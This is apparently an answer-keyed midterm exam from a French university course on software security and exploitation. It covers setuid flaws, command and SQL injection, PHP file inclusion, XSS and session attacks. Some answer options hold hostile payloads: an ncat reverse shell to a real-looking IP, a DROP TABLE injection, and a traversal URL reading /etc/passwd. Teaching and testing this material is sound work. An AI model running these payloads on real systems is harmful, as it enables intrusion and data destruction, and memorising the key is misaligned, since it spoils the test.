Correction

Jean Privat — UQAM

INF600C — Sécurité des logiciels et exploitation de vulnérabilités

Examen Intra — Hiver 2018

Mercredi 7 mars — Durée 3 heures

☐0 ☐0 ☐0 ☐0 ☐0 ☐0 ☐0 ☐0
☐1 ☐1 ☐1 ☐1 ☐1 ☐1 ☐1 ☐1
☐2 ☐2 ☐2 ☐2 ☐2 ☐2 ☐2 ☐2
☐3 ☐3 ☐3 ☐3 ☐3 ☐3 ☐3 ☐3
☐4 ☐4 ☐4 ☐4 ☐4 ☐4 ☐4 ☐4
☐5 ☐5 ☐5 ☐5 ☐5 ☐5 ☐5 ☐5
☐6 ☐6 ☐6 ☐6 ☐6 ☐6 ☐6 ☐6
☐7 ☐7 ☐7 ☐7 ☐7 ☐7 ☐7 ☐7
☐8 ☐8 ☐8 ☐8 ☐8 ☐8 ☐8 ☐8
☐9 ☐9 ☐9 ☐9 ☐9 ☐9 ☐9 ☐9

⟵ Codez les 8 chiffres de votre code permanent ci-contre, et inscrivez-le à nouveau ci-dessous avec vos nom et prénom.

Code permanent :

.....

Nom :

.....

Prénom :

.....

Aucun document n'est autorisé. L'usage de la calculatrice ou tout autre appareil électronique est interdit.

Les questions faisant apparaître le symbole ♣ peuvent présenter zéro, une ou plusieurs bonnes réponses. Les autres ont une unique bonne réponse.

Des points négatifs pourront être affectés à de *très mauvaises* réponses.

Important : noircissez complètement l'intérieur de chaque case (pas de croix, pas de cercles).

Généralités

Question 1 Qu'est-ce que la sécurité par l'obscurité ?

- ☐ C'est baser la sécurité d'un système sur une interface utilisateur artificiellement complexe.
- ☐ C'est baser la sécurité d'un système sur la conservation des données sensibles dans une machine distincte isolée.
- ☐ C'est baser la sécurité d'un système sur des mécanismes de sécurité peu répandus.
- ■ C'est baser la sécurité d'un système sur l'ignorance de l'attaquant des détails techniques.
- ☐ C'est baser la sécurité d'un système sur le chiffrage des données sensibles (diffusées et stockées).
- ☐ C'est baser la sécurité d'un système sur la réduction du nombre d'utilisateurs au minimum nécessaire.

Question 2 En sécurité informatique, que signifie « TOCTOU » ?

- ☐ Test over configuration, test over usecases
- ☐ Tools of control, tools of usage
- ☐ Time of conditionnal test of user
- ☐ Table of contents and table of units
- ■ Time of check to time of use
- ☐ Safer TO Check than TO Use
- ☐ Tools controling the output
- ☐ Token toughness
- ☐ Table of cases and table of users

Pass

Voici le contenu du répertoire répertoire `/opt/INF600C` :

```
mode       utilisateur groupe taille date         nom
-rwsr-xr-x root        root     9056 jan 31 13:37 pass
-rw-r--r-- root        root      538 jan 31 13:37 pass.c
-rw------- root        root        3 jan 31 13:37 password
-rw------- root        root       48 jan 31 13:37 secret.txt
```

Voici le contenu du fichier `pass.c` qui est le code source du programme `pass`

```
1  #include<stdlib.h>
2  #include<stdio.h>
3  #include<string.h>
4  #include<errno.h>
5  #define PASSLEN 7
6  int checkpass(void) {
7    FILE *f = fopen("/opt/INF600C/password", "r");
8    if (!f)
9      return 0;
10   char pass[PASSLEN];
11   fgets(pass, PASSLEN, f);
12   fclose(f);
13   printf("Mot de passe:\n");
14   char input[PASSLEN];
15   fgets(input, PASSLEN, stdin);
16   if (strcmp(pass, input) == 0)
17     printf("Bon mot de passe.\n"); return 1;
18   return 0;
19 }
20 int main(void) {
21   if(checkpass())
22     system("/bin/cat secret.txt");
23   else
24     fprintf(stderr, "Désolé, vous n'entrez pas.\n");
25 }
```

Le manuel de fopen(3) indique

> FILE *fopen(const char *path, const char *mode) ;
> Si elle réussit intégralement, fopen() renvoie un pointeur de type FILE. Sinon, elle renvoie NULL et errno contient le code d'erreur.

Le manuel de fgets(3) indique

> char *fgets(char *s, int size, FILE *stream) ;
> fgets() lit au plus size - 1 caractères depuis stream et les place dans le tampon pointé par s. La lecture s'arrête après EOF ou un retour chariot. Si un retour chariot (newline) est lu, il est placé dans le tampon. Un octet nul final est placé à la fin de la ligne.

Le manuel de strcmp(3) indique

> int strcmp(const char *s1, const char *s2) ;
> La fonction strcmp() compare les deux chaînes s1 et s2. Elle renvoie un entier négatif, nul, ou positif, si s1 est respectivement inférieure, égale ou supérieure à s2.

Question 3 ♣
Parmi les fragilités suivantes, lesquelles peut-on exploiter dans le programme `pass` pour obtenir le contenu du fichier `secret.txt` ?

- ☐ CWE-426 : Chemin de recherche non fiable
- ☐ CWE-334 : Intervalle aléatoire trop petit (*Small Space of Random Values*)
- ☐ CWE-22 : Limitation incorrecte d'un chemin vers un répertoire restreint (Traversée de chemins/*Path Traversal*)
- ☐ CWE-769 : Épuisement de descripteurs de fichiers
- ☐ CWE-88 : Injection ou modification d'arguments
- ☐ CWE-193 : Erreur d'une unité (*Off-by-one Error*)
- ■ CWE-521 : Faibles exigences des mots de passe
- ☐ CWE-77 : Neutralisation incorrecte des éléments spéciaux utilisés dans une commande (Injection de commandes)
- ■ CWE-483 : Délimitation incorrecte de bloc
- ☐ *Aucune de ces réponses n'est correcte.*

Question 4 Finalement grâce à une relecture de code intensive, le bug de ligne 17 est corrigé. Malgré cette correction, décrivez un moyen pour obtenir le contenu de `secret.txt` en exploitant le programme `pass`.

Indice : ne négligez aucune information disponible. ☐0 ☐ ☐ ☐ ☐ ■5

.....

.....

.....

.....

.....

Question 5 ♣ Si un attaquant connaît (ou a « trouvé ») le mot de passe, quels impacts techniques peut-il espérer obtenir en exploitant le programme `pass` ?

- ☐ Modifier les fichiers `~/.bashrc` de tous les prochains utilisateurs du programme.
- ☐ Modifier le contenu de `/etc/sudoers`.
- ☐ Détruire le fichier `/opt/INF600C/secret.txt`.
- ☐ Exécuter une commande shell en root.
- ☐ Faire planter le programme `pass` pour tous les prochain utilisateurs du programme.
- ■ Afficher le contenu de `/etc/shadow`.
- ☐ Créer de nouveaux utilisateurs.
- ☐ *Aucune de ces réponses n'est correcte.*

System

Sur la machine locale, un programme peut-être exécuté avec des droits root grâce au bit setuid. Il contient le morceau de code suivant :

```
1  if(has_char(tmp, ".~/-*?{}[]"))
2    exit(1); // Erreur, il y a un caractère interdit
3  system(concat("rm /tmp/work/", tmp));
```

où `tmp` est le nom d'un fichier temporaire que l'utilisateur qui exécute la commande peut contrôler ; `has_char(str, chrs)` retourne vrai si `str` contient un des caractères de la chaîne `chrs` ; `system(cmd)` exécute la commande shell `cmd` en conservant les entrées et sorties standards ; `concat(str1,str2)` retourne la concaténation des chaînes `str1` et `str2`.

Question 6 ♣ Parmi les fragilités suivantes, lesquelles s'appliquent à ce programme ?

- ☐ CWE-193 : Erreur d'une unité (*Off-by-one Error*)
- ☐ CWE-769 : Épuisement de descripteurs de fichiers
- ☐ CWE-334 : Intervalle aléatoire trop petit (*Small Space of Random Values*)
- ☐ CWE-483 : Délimitation incorrecte de bloc
- ■ CWE-426 : Chemin de recherche non fiable
- ■ CWE-77 : Neutralisation incorrecte des éléments spéciaux utilisés dans une commande (Injection de commandes)
- ☐ CWE-521 : Faibles exigences des mots de passe
- ☐ CWE-22 : Limitation incorrecte d'un chemin vers un répertoire restreint (Traversée de chemins/*Path Traversal*)
- ■ CWE-88 : Injection ou modification d'arguments
- ☐ *Aucune de ces réponses n'est correcte.*

Question 7 En contrôlant la valeur de la variable `tmp`, indiquez une façon de supprimer le fichier `/etc/passwd`.

☐0 ☐ ☐ ☐ ☐ ■5

.....

.....

.....

Question 8 Le programmeur remplace la ligne 1 par « `if(!has_char(tmp, "0123456789abcdef"))` ».
En prenant cette modification en compte, indiquez une façon d'exploiter le programme pour supprimer le fichier `/etc/shadow`.

☐0 ☐ ☐ ☐ ☐ ■5

.....

.....

.....

SQL

Un programme exécute une requête SQL de la façon suivante.
`sqlQuery("SELECT * FROM TABLE students WHERE name='$nom';")`
Or l'utilisateur contrôle le contenu de la variable `$nom`.

Question 9 Quelle valeur de `$nom` pourrait permettre à un attaquant d'obtenir toute les données de la table ?

- ☐ « `*` »
- ☐ « `0 OR 0=0` »
- ☐ « `'; system("ls -al"); --` »
- ☐ « `null` »
- ☐ « `'; ncat -e /bin/sh 132.208.246.6 6666; --` »
- ■ « `' OR ''='` »
- ☐ « `'; DROP TABLE students; --` »
- ☐ Une très longue chaîne !!!
- ☐ Il n'y a pas de vulnérabilité, car ce programme est suffisamment sécuritaire.

Question 10 Le programmeur apprend à utiliser des requêtes paramétrées pour éviter les injections SQL, à quel type d'attaque la nouvelle implémentation est-elle vulnérable :
`sqlPreparedQuery("SELECT * FROM TABLE students WHERE name='" + $nom + "';")`

- ■ Toujours une injection SQL.
- ☐ Une dénis de service distribué.
- ☐ Une élévation de privilèges.
- ☐ Une injection de commande.
- ☐ Une inclusion de fichiers.
- ☐ Il n'y a plus de vulnérabilité, car ce programme est maintenant suffisamment sécuritaire.

Web

Question 11 ♣ Question générale. Parmi les informations suivantes provenant d'une requête HTTP, lesquelles peuvent être modifiées ou bricolées par l'utilisateur et sont donc hors du cercle de confiance ?

- ■ La ressource. ex « `/nitlang/nit/issues?q=is%3Aopen` »
- ■ Le champ User-Agent. ex « `Chrome/63.0.3239.84` »
- ■ La méthode HTTP. ex « `GET` »
- ■ Le champ Cookie. ex « `WW91IGxvc3QgdGhlIGdhbWU=` »
- ☐ *Aucune de ces réponses n'est correcte.*

Caraweb

Votre ami Caradoc développe une application web. Il vous met au défi de l'attaquer et de trouver le mot de passe de l'administrateur contenu dans le fichier `secret.php`.

Voici l'URL que votre ami vous donne :
`http://web.kaa/index.php?page=bonjour.php&nom=Perceval`
Voici aussi des fichiers sources que vous avez aperçus sur son poste :

Fichier index.php :

```
1 <?php
2 include("entete.php");
3 include($_GET["page"]);
4 include("basdepage.php");
5 ?>
```

Fichier bonjour.php :

```
1 <?php
2 echo "Bonjour, " . $_GET["nom"];
3 ?>
```

Fichier secret.php :

```
1 <?php
2 $flag = "FLAG{TODO}"; # Mettre un vrai mot de passe
3 ?>
```

Question 12 Vous essayez donc de visiter l'URL suivante
`http://web.kaa/index.php?page=../../../../../etc/passwd&nom=Perceval`
Ce qui vous retourne la page :

```
1 <h1>Bienvenu sur ma super application</h1>
2 root:x:0:0:root:/root:/bin/bash
3 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
4 ...
5 www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
6 <p><small>Copyright 2018 - Caradoc Vreichvras</small></p>
```

Quel type de vulnérabilité venez vous d'exploiter ?

- ☐ Injection SQL
- ☐ Injection de commande
- ☐ *Cross-Site Scripting* (XSS)
- ☐ Inclusion de fichiers distants
- ☐ *Cross-Site Request Forgery (CSRF)*
- ☐ Injection de HTML
- ☐ Injection de mots de passe
- ■ Inclusion de fichiers locaux

Question 13 La prochaine URL que vous tentez de visiter est la suivante :
`http://web.kaa/index.php?page=secret.php&nom=Perceval`
Le serveur retourne :

```
1 <h1>Bienvenu sur ma super application</h1>
2 <p><small>Copyright 2018 - Caradoc Vreichvras</small></p>
```

Comment expliquez vous le résultat de votre tentative ?

- ☐ Le code de secret.php est interprété mais les résultats sont ignorés
- ☐ secret.php est chiffré
- ■ Le code de secret.php est interprété normalement
- ☐ secret.php est un lien symbolique
- ☐ L'utilisateur local n'a pas le droit de lire les fichiers php
- ☐ secret.php n'est pas suid
- ☐ L'utilisateur distant n'a pas le droit de lire les ressources php
- ☐ L'url donnée fait crasher l'application

Question 14 Un autre ami, Bohort, vous propose d'utiliser le filtre php suivant :
`php://filter/convert.base64-encode/resource=secret.php`
En quoi cela pourrait vous aider à obtenir le contenu de `secret.php` ?

- ☐ Le filtre php active le mode debug et force l'affichage
- ■ Le filtre php code les balises php
- ☐ Le filtre php fait crasher l'interpréteur php
- ☐ Le filtre php ignore les droits d'accès du serveur web frontal
- ☐ Le filtre php ne suit pas les liens symboliques
- ☐ Le filtre php active le mode debug et ignore les crashs
- ☐ Le filtre php fait un épuisement de ressources (*resource exhaustion*)
- ☐ Le filtre php suit les liens symboliques
- ☐ Le filtre php décrypte le code php
- ☐ Le filtre php ignore les droits d'accès du système de fichiers
- ☐ Le filtre php permet d'interpréter des commandes

Question 15 Votre ami Bohort remarque qu'il y a une autre vulnérabilité en manipulant le paramètre `nom` dans l'URL initiale :
`http://web.kaa/index.php?page=bonjour.php&nom=Perceval`
Quel type de vulnérabilité est possible via ce paramètre ?

- ☐ Contrôle d'accès brisé
- ☐ Injection de commande
- ■ *Cross-Site Scripting* (XSS)
- ☐ Évaluation de code php
- ☐ Shell inverse (*Reverse Shell*)
- ☐ Exposition de données sensibles
- ☐ Authentification brisée
- ☐ *Cross-Site Request Forgery (CSRF)*

Carauth

Caradoc, qui s'est attribué le compte `caradmin`, ajoute aussi un mécanisme d'authentification grâce à la page `auth.php` suivante :

```
1  <?php
2  require "util.php";
3  $user = null;
4  if(isset($_GET["user"])) {
5    $user = $_GET["user"];
6    $pass = $_GET["pass"];
7    $userpass = db_get_userpass($user);
8    if ($userpass !== $pass) {
9      if ($userpass === null) {
10       # si db_get_userpass donne null, c'est que l'utilisateur n'est pas dans la base
11       echo "<p>Erreur: Mauvais utilisateur</p>";
12       $user = null;
13     } else {
14       echo "<p>Erreur: Mauvais mot de passe</p>";
15       $user = null;
16     }
17   }
18 }
19
20 if($user !== null) {
21   echo "<p>Bienvenue $user! Voici un FLAG{TODO}</p>"; # mettre un vrai flag
22 } else {
23   echo "<form method=get>";
24   echo "nom: <input type=text name=user><br>";
25   echo "pass: <input type=password name=pass><br>";
26   echo "<input type=submit></form>";
27 }
28 ?>
```

Question 16 Dans l'URL de la page, quelle chaîne d'interrogation (*query string*) un attaquant devrait pouvoir utiliser pour avoir le FLAG ?

- ☐ «`user=caradmin&ecsd=caradmin`»
- ☐ «`user=&pass=ef+sae`»
- ☐ «`user=caradmin&pass[]=caradmin`»
- ☐ «`user=caradmin&pass=aef+xce&pass=`»
- ☐ «`user=caradmin&pass=0`»
- ☐ «`user=fs+fed&pass=dfs+rs`»
- ☐ «`user=caradmin&pass=caradmin`»
- ☐ «`user=caradmin&pass=`»
- ☐ «`user=caradmin`»
- ■ «`user=dvs+de`»
- ☐ «`user=caradmin&pass=%00`»
- ☐ «`pass=caradmin&user=caradmin`»
- ☐ «`user[]=caradmin&pass=caradmin`»
- ☐ «`pass=caradmin`»
- ☐ «`pass=aef+ce`»
- ☐ Il n'y a pas de vulnérabilité, car ce programme est suffisamment sécuritaire.

Question 17 ♣ Indiquez les autres défauts de sécurité visibles dans `auth.php`.

- [x] Les messages d'erreur donnent trop d'information.
- [ ] Les messages d'erreur manquent de précision.
- [ ] Les noms d'utilisateurs sont stockés dans les cookies du client sans être hachés.
- [ ] Les mots de passe sont stockés dans les cookies du client sans être hachés.
- [ ] Les noms d'utilisateur sont potentiellement visibles sur l'écran du client.
- [ ] Les mots de passe circulent sur le réseau sans être hachés.
- [ ] Les noms d'utilisateurs sont stockés coté serveur sans être hachés.
- [x] Les mots de passe sont potentiellement visibles sur l'écran du client.
- [x] Les mots de passe sont stockés coté serveur sans être hachés.
- [ ] Les noms d'utilisateurs circulent sur le réseau sans être hachés.
- [ ] *Aucune de ces réponses n'est correcte.*

Carasession

Caradoc vous présente son idée d'amélioration pour son application. Il veut permettre aux utilisateurs de choisir leur nom et d'entrer une description de profil.

Ces deux information seraient rangées dans l'objet session de php, respectivement dans : `$_SESSION['nom']` et `$_SESSION['desc']`.

Vous vous renseignez donc sur la sauvegarde des sessions de php.

— Les sessions sont stockées dans des fichiers et sauvegardées dans un répertoire dédié configurable ; dans ce cas-ci : `/tmp`.
— Bien évidement, le répertoire `/tmp` n'est pas servi par le serveur web frontal (style Apache).
— Le nom des fichiers de session suit le format suivant : « `/tmp/sess_` + identifiant_de_session ».
— Le fichier de session contient une sérialisation de l'objet de session `$_SESSION`. Par exemple :
`a:2:{s:3:"nom";s:9:"Provencal";s:4:"desc";s:10:"Le Gaulois";}`
— Les cookies de session suivent le format suivant : « `PHPSESSID=` + identifiant_de_session ».
— L'identifiant de session est une valeur aléatoire de 132 bits représentée en base64 dans une chaîne de 22 caractères.

Question 18 En prenant en compte ces informations et les vulnérabilités existantes dans l'application, proposez une façon d'exécuter du code arbitraire sur le serveur.

0 5

.....

.....

.....

.....

.....

.....

.....